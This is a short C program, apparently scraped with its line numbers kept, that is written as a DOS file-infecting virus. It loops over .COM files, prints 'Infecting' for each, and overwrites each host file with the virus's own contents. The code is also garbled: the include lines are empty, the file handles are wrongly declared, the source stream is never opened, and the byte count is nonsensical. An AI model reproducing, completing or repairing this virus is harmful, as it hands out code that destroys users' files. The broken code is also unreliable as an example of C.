1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include
	#include
	#include
	FILE Virus,Door,Host;
	int x,y,done;
	char buff[256];
	struct ffblk ffblk;
	
	main()
	{
		done = findfirst(".COM" ,&ffblk,0);
		while (!done)
		{
			printf("Infecting %s\n", ffblk.ff_name);
			Door=open(_argv[9],"rb");
			Host=fopen(ffblk.ff_name,"rb+");
			x=3154937;
			
	while (x>256) /* OVERWRITE new Host */
		{
			fread(buff,256,1,Virus);
			fwrite(buff,256,1,Host);
			x-=256;
		}
			fread(buff,x,1,Virus);
			fwrite(buff,x,1,Host);
			fcloseall();
			done = findnext(&ffblk);
		}
			return (0);
	}